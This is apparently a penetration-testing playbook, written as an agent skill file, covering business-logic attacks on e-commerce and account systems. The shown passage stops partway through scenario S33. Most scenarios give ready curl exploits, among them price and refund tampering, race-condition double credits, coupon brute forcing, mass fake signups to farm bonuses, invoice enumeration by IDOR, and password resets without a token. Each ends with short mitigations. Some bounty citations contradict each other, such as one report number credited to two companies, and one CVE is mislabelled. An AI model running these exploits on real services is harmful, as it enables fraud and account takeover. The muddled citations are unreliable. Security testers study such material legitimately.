---
name: scenarios-business-logic
description: "Real-world business logic attack scenarios — OWASP BLT, HackerOne P1 disclosures, e-commerce payment bypass, real engagement chains"
---

# Business Logic — Real-World Attack Scenarios

> Sources: OWASP Business Logic Top 10 (BLT) · HackerOne Hacktivity (2% of all reports per 2024 Hacker-Powered Security Report) · Coinbase $0 Ethereum manipulation (H1 #300748, 274 upvotes) · Stripe unlimited discount (HackerOne blog Nov 2024) · Upserve negative quantities (H1 #364843) · GitLab project template data leak (H1 #689314, 455 upvotes)

## Index

### Pricing & Payment
- S01: Parameter tampering to set price to $0 (e-commerce $2,000 bounty)
- S02: Negative quantity in cart → credit (Upserve H1 #364843)
- S03: Currency confusion — USD/EUR mismatch
- S04: Race condition in payment → multiple captures, single charge
- S05: Currency rounding exploit — 0.001 × 1000 = 1¢
- S06: Apply discount after tax calculation
- S07: Modify cart total after server returns it
- S08: Refund > original amount
- S09: Gift card duplication via double-spend
- S10: Loyalty points farming via rounding
- S11: Stripe unlimited discount redemption
- S12: Negative shipping cost → extra credit

### Coupons & Promotions
- S13: Coupon stacking beyond intended
- S14: Coupon reuse after cancellation
- S15: Referral bonus self-referral
- S16: Welcome bonus replay — multiple accounts
- S17: Coupon brute force — predict valid codes
- S18: Coupon field in unauthenticated request
- S19: Coupon locked to one user, replayed by another
- S20: Coupon applied after order shipped (refund discount)

### Account & Authentication Logic
- S21: Email change before verification (Shopify H1 #791775, $15,000)
- S22: Password reset with predictable token
- S23: OTP bypass via direct API call (Tucows hover.com H1 #3255473)
- S24: Account merge via new-password (Shopify H1 #796956, $7,500)
- S25: Email verification re-sent for unverified email
- S26: Session fixation via login flow
- S27: ATO via forgot password (New Relic H1 #1089467, $2,048)
- S28: Signup as someone else's email (verify after)
- S29: Disable 2FA without re-auth
- S30: Re-use old password when "must change" enforced

### Authorization State
- S31: Cancel order belonging to another user
- S32: View private invoice via IDOR (Starbucks H1 #141090)
- S33: Edit post belonging to another user
- S34: Delete post via "Report as abuse" (Vanilla H1 #411075, $300)
- S35: Approve own pending item in workflow
- S36: Skip workflow stage (Pending → Approved direct)
- S37: Multi-tenant data access via crafted tenant ID
- S38: Admin action with user token via header injection
- S39: Bypass payment-required workflow step
- S40: Approval of own role change

### Workflow & State Machine
- S41: Order state Pending → Delivered (skip Payment)
- S42: Refund before delivery
- S43: Coupon applied to refunded order
- S44: Replay webhook → duplicate state change
- S45: Status transition without proper guards
- S46: Workflow item modified after approval

### Feature Abuse
- S47: Trial extension via re-signup with same payment method
- S48: Free trial across many emails (mass account creation)
- S49: Premium feature check client-side only
- S50: Manipulate response to grant access (Streamlabs Prime H1 #1070510)

### Inventory & Booking
- S51: Book same seat 100 times → DOS (race condition)
- S52: Inventory check then update (TOCTOU)
- S53: Reserve more than available
- S54: Cancel + rebook pattern
- S55: Hotel booking below minimum nights

### Quantity & Math
- S56: Integer overflow in quantity
- S57: Quantity = MAX_INT in DB but rendered as 1
- S58: Decimal precision bug — 0.1 + 0.2 ≠ 0.3
- S59: Negative discount (> total) → negative checkout
- S60: Multiplication by negative

### Timing & Concurrency
- S61: Flash sale race condition (Vietnamese case: voucher used multiple times)
- S62: Double-spend wallet (Idempotency key expires)
- S63: Concurrent token issuance (JWT issued twice, second one valid longer)
- S64: Concurrent check + use (TOCTOU)
- S65: Race in 2FA setup
- S66: Replay attack on idempotent endpoint
- S67: Async processing race
- S68: Distributed race (multi-region)
- S69: Cron job race
- S70: Same operation by user simultaneously (clicking "claim" twice)

---

## S01: Parameter tampering to set price to $0 (e-commerce $2,000 bounty)
**Context:** E-commerce app displays price calculated server-side, but accepts price as a parameter in cart update / checkout. Attacker changes price to 0. Classic "trust client" anti-pattern.
**Seen in:** Real bounty — researcher earned $2,000 on a €699.99 → €0 e-commerce site (Nov 2025, herish.me). New Relic (H1 #364843) — total price manipulation via `id_product_feature_set` parameter.
**Impact:** Free products, revenue loss.

### Detection
```bash
# 1. Add item to cart
curl -X POST https://shop.com/cart/add -d '{"id":42,"qty":1}'
# Total: $699.99

# 2. Intercept cart update / checkout
# 3. Look for price in request body/params
```

### Exploit
```bash
# Manipulate price parameter
curl -X POST https://shop.com/cart/update \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"id":42,"qty":1,"price":0.00,"unit_price":0.00}'

# Or modify hidden form field
# <input name="price" value="699.99"> → <input name="price" value="0.01">

# Or use Burp's "change request body" before checkout: change price to 0.01
```

### Chain
1. Add expensive item to cart
2. Intercept checkout request
3. Modify price to 0
4. Complete order for $0

### Bypass / Notes
- Server should always compute price from product_id + quantity
- Never accept price from client
- Re-validate total server-side before charge
- Use signed cart hashes (HMAC over cart contents)

---

## S02: Negative quantity in cart → credit (Upserve H1 #364843)
**Context:** Cart accepts negative quantity. Server adds negative item to cart → total goes negative. Literal money glitch.
**Seen in:** Upserve HackerOne report #364843 (165 upvotes) — "OLO Total price manipulation using negative quantities". Real engagements everywhere.
**Impact:** Free money, gift card balance.

### Detection
```bash
# Add item normally
curl -X POST https://shop.com/cart/add -d '{"id":42,"qty":1}'
# Total: $100

# Try negative quantity
curl -X POST https://shop.com/cart/add -d '{"id":42,"qty":-1}'
# Total: $0 (or -$100)
```

### Exploit
```bash
# Buy expensive item + add negative qty
curl -X POST https://shop.com/cart/add -d '{"id":42,"qty":1}'        # +$1000
curl -X POST https://shop.com/cart/add -d '{"id":1,"qty":-100}'     # -$500
# Total: $500
```

### Chain
1. Find cart endpoint
2. Test negative quantity
3. Add expensive + negative cheap → reduce total
4. Checkout at negative price

### Bypass / Notes
- Server should validate qty > 0
- Reject negative quantities
- Audit repeated negative qty attempts

---

## S03: Currency confusion — USD/EUR mismatch
**Context:** App shows price in one currency, charges in another. Or user pays in one currency but product is priced in another. Exchange rate discrepancy can be exploited.
**Seen in:** Real engagements. Travel, e-commerce, crypto exchanges.
**Impact:** Buy cheap, sell expensive.

### Detection
```bash
# Check currency in request
curl -X POST https://shop.com/checkout -d '{"product":1,"currency":"USD"}'
# Response: total = $100

# Try other currency
curl -X POST https://shop.com/checkout -d '{"product":1,"currency":"EUR"}'
# Response: total = €90 (but charged in USD → $90 → $10 profit)
```

### Exploit
```bash
for cur in USD EUR GBP JPY CHF AUD CAD; do
  TOTAL=$(curl -s -X POST https://shop.com/checkout -d "{\"product\":1,\"currency\":\"$cur\"}" | jq .total)
  echo "$cur: $TOTAL"
done
# Use cheapest currency
```

### Chain
1. Enumerate currencies
2. Find cheapest
3. Checkout in that currency
4. Profit

### Bypass / Notes
- Server should compute price in base currency
- Use authoritative exchange rate (ECB, OpenExchangeRates)
- Reject unknown currencies

---

## S04: Race condition in payment → multiple captures, single charge
**Context:** App checks "is order paid?" then processes. Between check and update, attacker sends many concurrent requests. Multiple captures processed.
**Seen in:** Real fintech. Coinbase (H1 #300748, 274 upvotes) — "Ethereum account balance manipulation" — race condition in credit.
**Impact:** Money duplication, balance manipulation.

### Detection
```bash
# Send 100 concurrent requests
for i in $(seq 1 100); do
  curl -X POST https://api.com/wallet/credit -d '{"amount":100,"reason":"refund"}' &
done
wait
# If balance shows 100x credit → race condition
```

### Exploit
```bash
seq 1 1000 | parallel -j 100 'curl -X POST https://api.com/wallet/credit -H "Authorization: Bearer $TOKEN" -d "{\"amount\":100,\"tx_id\":\"REF-$RANDOM\"}"'
```

### Chain
1. Find endpoint with check-then-update
2. Send N concurrent requests
3. All pass the check before any update
4. Each request processes (N x amount credited)

### Bypass / Notes
- Use atomic operations (DB transactions, Redis WATCH)
- Idempotency keys (UUID per operation)
- Row-level locking (SELECT FOR UPDATE)
- Coinbase fixed this with proper locking

---

## S05: Currency rounding exploit — 0.001 × 1000 = 1¢
**Context:** App rounds currency at display, but multiplies before rounding. 0.001 × 1000 = 1.0 = $1, but if app rounds at each step, 0.001 rounds to 0.
**Seen in:** Real engagements. Loyalty point systems, micro-transactions.
**Impact:** Money creation from rounding.

### Detection
```bash
for i in $(seq 1 1000); do
  curl -X POST https://api.com/wallet/transfer -d '{"amount":0.001,"to":"attacker"}' -o /dev/null
done
# Check balance — rounding accumulates
```

### Exploit
```bash
# Many small transactions to round up
# If each 0.001 transaction adds 0 (rounded down), but final balance shows full $1
# = free money
```

### Chain
1. Find micro-transaction endpoint
2. Trigger many small transactions
3. Rounding accumulates
4. Withdraw

### Bypass / Notes
- Use Decimal/BigInt for money, never float
- Consistent rounding (banker's rounding, IEEE 754)
- Reject amounts below minimum threshold

---

## S06: Apply discount after tax calculation
**Context:** App calculates tax first, then discount. Should be reverse (discount on subtotal, then tax). Or vice versa. Order matters.
**Seen in:** Real e-commerce platforms.
**Impact:** Lower tax paid, more discount applied.

### Detection
```bash
curl -X POST https://shop.com/cart/calc -d '{"items":[1,1],"discount":"SAVE10","order":"discount_first"}'
curl -X POST https://shop.com/cart/calc -d '{"items":[1,1],"discount":"SAVE10","order":"tax_first"}'
```

### Exploit
```bash
# Use optimal order
```

### Chain
1. Find calculation endpoint
2. Test order of operations
3. Use optimal order
4. Pay less

### Bypass / Notes
- Apply discount on subtotal
- Calculate tax on (subtotal - discount)
- Test both orders

---

## S07: Modify cart total after server returns it
**Context:** Server returns total → client displays → client submits total back to /checkout. Client changes total.
**Seen in:** Mobile apps, JS-heavy sites.
**Impact:** Pay less than required.

### Detection
```bash
# Intercept checkout request
# Look for total field
# Modify and resend
```

### Exploit
```bash
# Original: {"items":[1,1],"total":100.00}
# Modified: {"items":[1,1],"total":0.01}
curl -X POST https://shop.com/checkout -H "Content-Type: application/json" -d '{"items":[1,1],"total":0.01}'
```

### Chain
1. Add expensive item
2. Get total
3. Submit modified total
4. Server doesn't re-validate → accept $0.01 payment

### Bypass / Notes
- Server should never accept total from client
- Re-compute total server-side before charge
- Use signed cart hash

---

## S08: Refund > original amount
**Context:** Refund endpoint accepts refund_amount from client. Attacker requests refund > original.
**Seen in:** Real e-commerce, fintech.
**Impact:** Money creation.

### Detection
```bash
# Original order: $100
# Refund request: $200
curl -X POST https://shop.com/orders/123/refund -d '{"amount":200}'
```

### Exploit
```bash
# Order total: $50
# Refund: $999999
curl -X POST https://shop.com/orders/123/refund -d '{"amount":999999}'
```

### Chain
1. Place order for $X
2. Request refund for $X × 100
3. Get free money

### Bypass / Notes
- Server should validate refund <= order total
- Partial refunds limited to remaining amount
- Audit large refund requests

---

## S09: Gift card duplication via double-spend
**Context:** Gift card balance check is racy. Attacker uses same gift card on two concurrent orders. Both pass balance check, both succeed.
**Seen in:** Real engagements. Common in retail e-commerce.
**Impact:** Gift card value duplication.

### Detection
```bash
# Gift card balance: $100
# Two concurrent orders:
curl -X POST https://shop.com/checkout -d '{"gift_card":"GC-123","amount":100}' &
curl -X POST https://shop.com/checkout -d '{"gift_card":"GC-123","amount":100}' &
wait
# Both succeed? Gift card now used twice
```

### Exploit
```bash
for i in $(seq 1 100); do
  curl -X POST https://shop.com/checkout -d '{"gift_card":"GC-123","amount":100}' &
done
wait
```

### Chain
1. Get gift card
2. Send N concurrent orders with same card
3. All pass check before any deduction
4. Each gets the full amount

### Bypass / Notes
- Atomic check + update
- Optimistic locking with retry
- Gift card balance is a DB row, lock it

---

## S10: Loyalty points farming via rounding (flash sale pattern)
**Context:** Loyalty points are calculated from purchase amount. Rounding behavior: floor(0.99 * 100) = 99 points, but actual purchase is $0.99. 100 such micro-purchases = $99 spent = 9900 points. Or use $0.01 purchases to farm points.
**Seen in:** Real engagements. Many loyalty programs.
**Impact:** Free points → free products.

### Detection
```bash
# Check points calculation
curl -X POST https://shop.com/purchase -d '{"amount":0.99}'
# Earned 99 points? Or 1 point? Or rounded?

for i in $(seq 1 100); do
  curl -X POST https://shop.com/purchase -d '{"amount":0.01}' -o /dev/null
done
curl https://shop.com/loyalty/balance
```

### Exploit
```bash
# If each 0.01 purchase earns 1 point → 100 purchases = 100 points
# Spend $1, earn 100 points
# Then redeem for $X worth of products
```

### Chain
1. Find loyalty calculation
2. Test micro-purchase behavior
3. Farm points
4. Redeem

### Bypass / Notes
- Floor on point calculation
- Cap on points per day
- Round at redemption, not earning

---

## S11: Stripe unlimited discount redemption
**Context:** Stripe (real disclosed case, Nov 2024) — discount code applied via API without rate limit or one-time enforcement. Same code reused indefinitely.
**Seen in:** HackerOne blog Nov 2024 — Stripe vulnerability (resolved).
**Impact:** Massive discount abuse.

### Detection
```bash
curl -X POST https://api.target.com/v1/discounts -d '{"code":"STAFF50"}'
curl -X POST https://api.target.com/v1/discounts -d '{"code":"STAFF50"}'
# Both applied? No rate limit?
```

### Exploit
```bash
for i in $(seq 1 1000); do
  curl -X POST https://api.target.com/v1/discounts -d '{"code":"STAFF50"}' &
done
wait
```

### Chain
1. Find discount endpoint
2. Test re-application
3. Stack to 100% off
4. Free purchase

### Bypass / Notes
- One-time code per customer
- Server-side tracking of applied discounts
- Stripe now enforces proper rate limits

---

## S12: Negative shipping cost → extra credit
**Context:** Shipping cost can be set to negative. Total reduces.
**Seen in:** Real e-commerce.
**Impact:** Free shipping, additional credit.

### Detection
```bash
curl -X POST https://shop.com/cart -d '{"items":[1],"shipping":-100}'
```

### Exploit
```bash
curl -X POST https://shop.com/cart -d '{"items":[1],"shipping":-10000}'
# Total = $0 or negative
```

### Chain
1. Find shipping cost parameter
2. Set negative
3. Total reduces below 0
4. Get credit

### Bypass / Notes
- Validate shipping > 0
- Cap shipping at item total
- Server-computed shipping

---

## S13: Coupon stacking beyond intended
**Context:** Coupon field allows multiple codes. Server doesn't enforce "one exclusive per cart" rule.
**Seen in:** Common. Shopify, food delivery, retail.
**Impact:** Massive discount.

### Detection
```bash
curl -X POST https://shop.com/cart/coupon -d '{"code":"SAVE10"}'
curl -X POST https://shop.com/cart/coupon -d '{"code":"SAVE20"}'
curl -X POST https://shop.com/cart/coupon -d '{"code":"FREESHIP"}'
# Total: nearly free
```

### Exploit
```bash
for code in CODE1 CODE2 CODE3 CODE4 CODE5 CODE6 CODE7 CODE8 CODE9 CODE10; do
  curl -X POST https://shop.com/cart/coupon -d "{\"code\":\"$code\"}"
done
```

### Chain
1. Find coupon endpoint
2. Try multiple codes
3. Stack
4. Discount = 100% or more

### Bypass / Notes
- One exclusive code per cart
- Cap discount at item total
- Audit log repeated stacks

---

## S14: Coupon reuse after cancellation
**Context:** Coupon marked used on order placement. If order is cancelled, coupon is refunded to user. But if state isn't properly tracked, same coupon can be reused.
**Seen in:** Real engagements.
**Impact:** Unlimited coupon usage.

### Detection
```bash
curl -X POST https://shop.com/checkout -d '{"coupon":"SAVE10"}'
curl -X POST https://shop.com/orders/123/cancel
curl -X POST https://shop.com/checkout -d '{"coupon":"SAVE10"}'
# Works? Reuse bug.
```

### Exploit
```bash
for i in $(seq 1 100); do
  curl -X POST https://shop.com/checkout -d '{"coupon":"SAVE10"}' -o order_$i.json
  ORDER_ID=$(cat order_$i.json | jq -r .id)
  curl -X POST https://shop.com/orders/$ORDER_ID/cancel
done
```

### Chain
1. Place order with single-use coupon
2. Cancel order
3. Coupon refunded but not invalidated
4. Reuse indefinitely

### Bypass / Notes
- Mark coupon "consumed" only on successful delivery
- Track all orders using same coupon
- Lock coupon for N days after cancel

---

## S15: Referral bonus self-referral
**Context:** Referral program offers bonus to both referrer and referee. Attacker refers themselves with multiple emails.
**Seen in:** Uber, Airbnb, fintech apps.
**Impact:** Unlimited referral bonus.

### Detection
```bash
# 1. Sign up account A
# 2. Get referral code REF-A
# 3. Sign up account B with REF-A
# 4. Both get bonus
# 5. Sign up account C with REF-B (own code)
```

### Exploit
```bash
for i in $(seq 1 1000); do
  curl -X POST https://app.com/signup -d "{\"email\":\"u$i@temp.com\",\"password\":\"x\",\"referral\":\"REF-OWN$i\"}"
done
# Each gets $10 bonus → $10,000 free
```

### Chain
1. Sign up → get referral code
2. Sign up another account with own referral
3. Both get bonus
4. Repeat
5. Cash out

### Bypass / Notes
- Block self-referral (same IP, same payment method, same device)
- Cap referrals per user
- Verify email/phone before bonus

---

## S16: Welcome bonus replay — multiple accounts
**Context:** New user gets welcome bonus. Attacker signs up with many emails.
**Seen in:** Crypto exchanges, fintech.
**Impact:** Unlimited welcome bonus.

### Detection
```bash
curl -X POST https://app.com/signup -d '{"email":"a@temp.com"}'
# Get $10 welcome bonus
curl -X POST https://app.com/signup -d '{"email":"b@temp.com"}'
# Get another $10
```

### Exploit
```bash
for i in $(seq 1 10000); do
  curl -X POST https://app.com/signup -d "{\"email\":\"u$i@$(uuidgen).com\"}"
done
# $10 × 10000 = $100,000
```

### Chain
1. Confirm welcome bonus
2. Mass signup with disposable emails
3. Collect bonus
4. Withdraw

### Bypass / Notes
- Block disposable emails
- Phone verification
- Payment method verification
- Fingerprint device

---

## S17: Coupon brute force — predict valid codes
**Context:** Coupon codes are short or sequential. Attacker brute-forces valid codes.
**Seen in:** Real engagements. Common in promotion systems.
**Impact:** Use of unauthorized codes.

### Detection
```bash
# Brute force 4-digit numeric codes
for code in $(seq -f "%04g" 0 9999); do
  curl -X POST https://shop.com/cart/coupon -d "{\"code\":\"$code\"}" -w "%{http_code}\n" -o /dev/null
done
```

### Exploit
```bash
ffuf -u "https://shop.com/api/coupon/FUZZ" -X POST -mc 200 -w /path/to/wordlist.txt

# Or predict pattern SAVE-001, SAVE-002
for i in $(seq -f "%03g" 1 999); do
  curl -X POST https://shop.com/cart/coupon -d "{\"code\":\"SAVE-$i\"}" -o /dev/null -w "%{http_code} SAVE-$i\n"
done
```

### Chain
1. Find coupon endpoint
2. Brute force codes
3. Use valid codes
4. Profit

### Bypass / Notes
- Long random codes (UUID)
- Rate limit on coupon attempts
- CAPTCHA after N failures

---

## S18: Coupon field in unauthenticated request
**Context:** Coupon applies to cart. Cart is created in unauthenticated session. If server doesn't validate session, can apply coupons without auth.
**Seen in:** Real engagements.
**Impact:** Coupon abuse without tracking.

### Detection
```bash
# 1. Add to cart as guest
curl -X POST https://shop.com/cart/add -d '{"id":1,"qty":1}' -c cookies.txt
# 2. Apply coupon
curl -X POST https://shop.com/cart/coupon -d '{"code":"STAFF50"}' -b cookies.txt
# 3. Checkout as guest
curl -X POST https://shop.com/checkout -b cookies.txt -d '{"email":"a@b.com","card":"..."}'
# Discount applied without auth
```

### Exploit
```bash
for i in $(seq 1 1000); do
  curl -X POST https://shop.com/cart/add -d '{"id":1}' -c "session_$i.txt"
  curl -X POST https://shop.com/cart/coupon -d '{"code":"STAFF50"}' -b "session_$i.txt"
  curl -X POST https://shop.com/checkout -b "session_$i.txt" -d '{"email":"u'$i'@temp.com","card":"..."}' -o "order_$i.txt"
done
```

### Chain
1. Guest cart
2. Apply restricted coupon
3. Checkout
4. Discount without auth

### Bypass / Notes
- Require auth before coupon apply
- Bind coupon to user_id, not session

---

## S19: Coupon locked to one user, replayed by another
**Context:** Coupon is "user-specific" (e.g., birthday coupon). But coupon ID can be replayed by other users.
**Seen in:** Real engagements.
**Impact:** All users get other users' coupons.

### Detection
```bash
# User A gets birthday coupon
curl -X POST https://shop.com/cart/coupon -d '{"code":"BDAY-A"}' -H "Authorization: Bearer $TOKEN_A"
# Discount: 30% off
# User B tries
curl -X POST https://shop.com/cart/coupon -d '{"code":"BDAY-A"}' -H "Authorization: Bearer $TOKEN_B"
# Also 30% off?
```

### Exploit
```bash
# All users use same birthday coupon
```

### Chain
1. Find user-locked coupon
2. Use it as another user
3. Bypass

### Bypass / Notes
- Bind coupon to user_id in DB
- Validate user on apply

---

## S20: Coupon applied after order shipped (refund discount)
**Context:** Coupon applied after order is paid/shipped. Server refunds the discount portion to original payment.
**Seen in:** Real engagements.
**Impact:** Money out of thin air.

### Detection
```bash
# 1. Place order
curl -X POST https://shop.com/checkout -d '{"items":[1]}'
# 2. Order shipped, payment captured
# 3. Apply coupon
curl -X POST https://shop.com/orders/123/coupon -d '{"code":"SAVE10"}'
# 4. Refund issued? Even though order is past?
```

### Exploit
```bash
# Apply refund-discount to shipped orders
# Get partial cash back on every order
```

### Chain
1. Place order
2. Wait for shipment
3. Apply coupon
4. Refund issued

### Bypass / Notes
- Lock cart after payment
- No coupon on shipped orders

---

## S21: Email change before verification (Shopify H1 #791775, $15,000)
**Context:** User changes email → server sends verification to NEW email. But between request and verification, attacker can confirm via OLD email flow.
**Seen in:** Shopify H1 #791775 — $15,000. Real chain: register email → request verification → change email → confirm on attacker's email.
**Impact:** Account takeover.

### Detection
```bash
# 1. Register account with attacker@x.com
curl -X POST https://app.com/signup -d '{"email":"attacker@x.com","password":"x"}'
# 2. Request email verification
curl -X POST https://app.com/verify/request
# 3. Change email to victim@y.com
curl -X PATCH https://app.com/users/me -H "Authorization: Bearer $TOKEN" -d '{"email":"victim@y.com"}'
```

### Exploit
```bash
# The chain:
# 1. Register with attacker@x.com
# 2. Verify email (link goes to attacker@x.com)
# 3. Change email to victim@y.com (server sends "verify new email" to victim@y.com)
# 4. Some apps: old verification link still works (race between email change and verify)
# 5. Click old link → account is now victim@y.com but verified by attacker
```

### Chain
1. Register with attacker email
2. Verify
3. Change to victim email
4. Trigger password reset
5. Reset link goes to victim
6. Account takeover (depending on flow)

### Bypass / Notes
- Invalidate old verification tokens on email change
- Require new email verification before allowing login
- Shopify fixed this with token invalidation

---

## S22: Password reset with predictable token
**Context:** Password reset token is sequential, timestamp-based, or otherwise predictable.
**Seen in:** Real engagements. CVE-2017-9805 (WordPress) historical.
**Impact:** Account takeover.

### Detection
```bash
# Request 5 password resets
for i in 1 2 3 4 5; do
  curl -X POST https://app.com/forgot -d "{\"email\":\"u$i@test.com\"}" -i | grep -i "token="
done
# Tokens: 1001, 1002, 1003, 1004, 1005 → predictable!
```

### Exploit
```bash
# Brute force reset tokens
# Or compute next token from pattern
```

### Chain
1. Request reset for own account (to see token format)
2. Predict target's token
3. Reset target's password
4. ATO

### Bypass / Notes
- Cryptographically random tokens (UUID v4, 32 bytes)
- Token expires in 15 min
- One-time use

---

## S23: OTP bypass via direct API call (Tucows hover.com H1 #3255473)
**Context:** OTP required for sensitive action, but API can be called directly bypassing the OTP check.
**Seen in:** Tucows (hover.com) H1 #3255473 — 130 upvotes. "Business Logic Error – Bypass of OTP Verification During Signup".
**Impact:** ATO, sensitive action without OTP.

### Detection
```bash
# 1. Normal flow: signup → receive OTP → enter OTP → verified
# 2. Try: signup → directly call "verify" endpoint with empty/guess OTP
curl -X POST https://app.com/verify -d '{"otp":""}' -H "Authorization: Bearer $TOKEN"
# Returns success? OTP bypassed.
```

### Exploit
```bash
# Skip OTP entirely
curl -X POST https://app.com/account/sensitive-action -H "Authorization: Bearer $TOKEN" -d '{"amount":1000}'
# Without OTP prompt
```

### Chain
1. Sign up
2. Skip OTP step
3. Sensitive action without 2FA
4. ATO

### Bypass / Notes
- Server-side enforcement of OTP, not just UI
- Bind OTP to session
- Tucows now requires OTP server-side

---

## S24: Account merge via new-password (Shopify H1 #796956, $7,500)
**Context:** Two stores/users can be merged by using the "new-password" flow. If a victim is sent a password reset link, attacker can intercept and merge the victim's account into their own.
**Seen in:** Shopify H1 #796956 — $7,500. "Changing URL path from login to new-password allows merging victims store to attackers account".
**Impact:** Account takeover.

### Detection
```bash
# 1. Attacker has store A
# 2. Attacker initiates password reset for store A
# → Receives link https://shopify.com/new-password?token=xxx
# 3. Attacker tricks victim (store B) to click the same link
# 4. Both reset password to attacker's value → both accounts merged
```

### Exploit
```bash
# The chain is complex; typically requires social engineering
# But the bug is the merge logic itself
```

### Chain
1. Initiate password reset for own account
2. Send link to victim
3. Victim's account merged
4. ATO

### Bypass / Notes
- Reset links should be one-time
- Should not merge accounts
- Shopify fixed by validating token per user

---

## S25: Email verification re-sent for unverified email
**Context:** User changes email to victim's. Server sends verification to victim. Attacker can re-trigger.
**Seen in:** Real engagements.
**Impact:** Spam, social engineering.

### Detection
```bash
# 1. Attacker changes email to victim@x.com
curl -X PATCH https://app.com/users/me -H "Authorization: Bearer $TOKEN" -d '{"email":"victim@x.com"}'
# Server sends "verify new email" to victim@x.com
# 2. Attacker can re-trigger
for i in $(seq 1 100); do
  curl -X POST https://app.com/email/resend -H "Authorization: Bearer $TOKEN"
done
# Spam victim with 100 emails
```

### Exploit
```bash
# Spam victim
# Or: social engineer victim to click link
```

### Chain
1. Change email to victim
2. Re-trigger verification (spam)
3. Victim confused/clicks link
4. Account takeover (if click changes anything)

### Bypass / Notes
- Rate limit on resend
- Validate that resend goes to current user's email, not pending

---

## S26: Session fixation via login flow
**Context:** Attacker sets victim's session ID, victim logs in, session ID remains → attacker uses it.
**Seen in:** Real engagements.
**Impact:** Account takeover.

### Detection
```bash
# 1. Attacker gets session ID
curl -X POST https://app.com/login -c attacker_cookies.txt
# Session: SID=ATTACKERSESSION
# 2. Attacker tricks victim to use this session
# Phishing link: https://app.com/login?sid=ATTACKERSESSION
# 3. Victim logs in
# 4. Attacker still has ATTACKERSESSION, now valid for victim
```

### Exploit
```bash
# XSS chain
<script>document.cookie="SID=ATTACKERSESSION;path=/";</script>
# Victim logs in
# Attacker uses ATTACKERSESSION
```

### Chain
1. Get session ID
2. Force victim to use it
3. Victim logs in
4. ATO

### Bypass / Notes
- Regenerate session ID on login
- Bind session to IP / user agent

---

## S27: ATO via forgot password (New Relic H1 #1089467, $2,048)
**Context:** Forgot password flow allows changing email → triggering reset → email goes to attacker.
**Seen in:** New Relic H1 #1089467, 214 upvotes, $2,048.
**Impact:** Account takeover.

### Detection
```bash
# 1. Get target email
# 2. Sign up with target email on a different platform
# 3. Or change email to attacker's in target platform
# 4. Trigger password reset
# 5. Reset link goes to attacker
```

### Exploit
```bash
# Variant: BOLA on password reset
curl -X POST https://app.com/reset \
  -d '{"user_id":VICTIM_ID,"new_password":"attacker123"}'
# Some apps: no token check → direct ATO
```

### Chain
1. BOLA / IDOR on reset
2. Set new password
3. ATO

### Bypass / Notes
- Token-based reset (not just user_id)
- Verify old password for password change
- New Relic now requires email confirmation

---

## S28: Signup as someone else's email (verify after)
**Context:** Signup with victim's email without verification. Attacker controls account with victim's email.
**Seen in:** Real engagements.
**Impact:** Account takeover (sort of — victim's emails go to attacker).

### Detection
```bash
# 1. Sign up with victim@x.com
curl -X POST https://app.com/signup -d '{"email":"victim@x.com","password":"x"}'
# 2. No email verification → account created
# 3. Victim tries to sign up later → "email exists"
# 4. Victim does forgot password → reset link goes to attacker
# 5. Attacker intercepts → ATO
```

### Exploit
```bash
# Mass ATO attempt
# For each target email:
#   - Sign up
#   - Wait for victim to do forgot password
#   - Intercept
```

### Chain
1. Sign up with victim's email
2. No verification
3. Victim resets password
4. Reset link goes to attacker
5. ATO

### Bypass / Notes
- Email verification before account active
- Send "someone tried to sign up with your email" notice
- Rate limit failed signups

---

## S29: Disable 2FA without re-auth
**Context:** Disable 2FA endpoint requires only password, not current 2FA code.
**Seen in:** Real engagements.
**Impact:** Bypass 2FA after credential theft.

### Detection
```bash
# 1. Attacker has password (via breach, phishing)
# 2. Disable 2FA
curl -X POST https://app.com/2fa/disable -d '{"password":"stolen"}'
# 3. Now login without 2FA
```

### Exploit
```bash
# After credential theft
curl -X POST https://app.com/2fa/disable -H "Authorization: Bearer $TOKEN" -d '{"password":"stolen"}'
curl -X POST https://app.com/login -d '{"user":"victim","pass":"stolen"}'
# No 2FA prompt
```

### Chain
1. Get password (breach, phishing)
2. Disable 2FA
3. Login without 2FA
4. ATO

### Bypass / Notes
- Require 2FA code to disable 2FA
- Cooldown period (7 days) to disable
- Notify user via email/SMS

---

## S30: Re-use old password when "must change" enforced
**Context:** User forced to change password. But system allows setting it back to old.
**Seen in:** Common in enterprise.
**Impact:** No actual password change.

### Detection
```bash
# 1. Get prompt to change password
# 2. Set new password
curl -X POST https://app.com/password/change -d '{"old":"x","new":"y"}'
# 3. Try setting it back to "x"
curl -X POST https://app.com/password/change -d '{"old":"y","new":"x"}'
# Works? Bug.
```

### Exploit
```bash
# No real protection; just satisfies "must change" prompt
```

### Chain
1. Force change to comply with policy
2. Change back to old
3. Continue with compromised password

### Bypass / Notes
- Track password history (last 5)
- Prevent reuse of N most recent passwords

---

## S31: Cancel order belonging to another user
**Context:** Cancel order endpoint takes order_id, doesn't check ownership.
**Seen in:** Common.
**Impact:** DoS, fraud.

### Detection
```bash
# User A creates order
# User B cancels it
curl -X POST https://shop.com/orders/123/cancel -H "Authorization: Bearer $TOKEN_B"
# Success? IDOR + cancel.
```

### Exploit
```bash
# Mass cancel orders
for id in 100 200 300 400 500; do
  curl -X POST https://shop.com/orders/$id/cancel -H "Authorization: Bearer $TOKEN" -o /dev/null
done
```

### Chain
1. Find cancel endpoint
2. Enumerate order IDs
3. Cancel others' orders
4. DoS / fraud

### Bypass / Notes
- Server-side ownership check
- Validate user owns order before cancel

---

## S32: View private invoice via IDOR (Starbucks H1 #141090)
**Context:** Invoice endpoint takes invoice_id, no ownership check. Attacker views any user's invoice.
**Seen in:** Starbucks H1 #141090 — 70 upvotes, "Parameter Manipulation allowed for viewing of other user's teavana.com orders".
**Impact:** PII leak, order history.

### Detection
```bash
# Get own invoice ID
curl https://shop.com/invoice/1234 -H "Authorization: Bearer $TOKEN"
# Try other IDs
curl https://shop.com/invoice/1235 -H "Authorization: Bearer $TOKEN"
# Other user's invoice? IDOR.
```

### Exploit
```bash
# Enumerate
for id in $(seq 1000 9999); do
  curl -s "https://shop.com/invoice/$id" -H "Authorization: Bearer $TOKEN" -o inv_$id.json
done
```

### Chain
1. Find invoice endpoint
2. Enumerate
3. View all invoices
4. PII leak

### Bypass / Notes
- Validate user owns invoice
- Don't expose sequential IDs

---

## S33: Edit post belonging to another user
**Context:** Edit post endpoint takes post_id, no ownership check.
**Seen in:** Common.
**Impact:** Content manipulation.

### Detection
```bash
# Get own post
curl -X PATCH https://blog.com/posts/123 -H "Authorization: Bearer $TOKEN" -d '{"content":"new"}'
# Try other's post
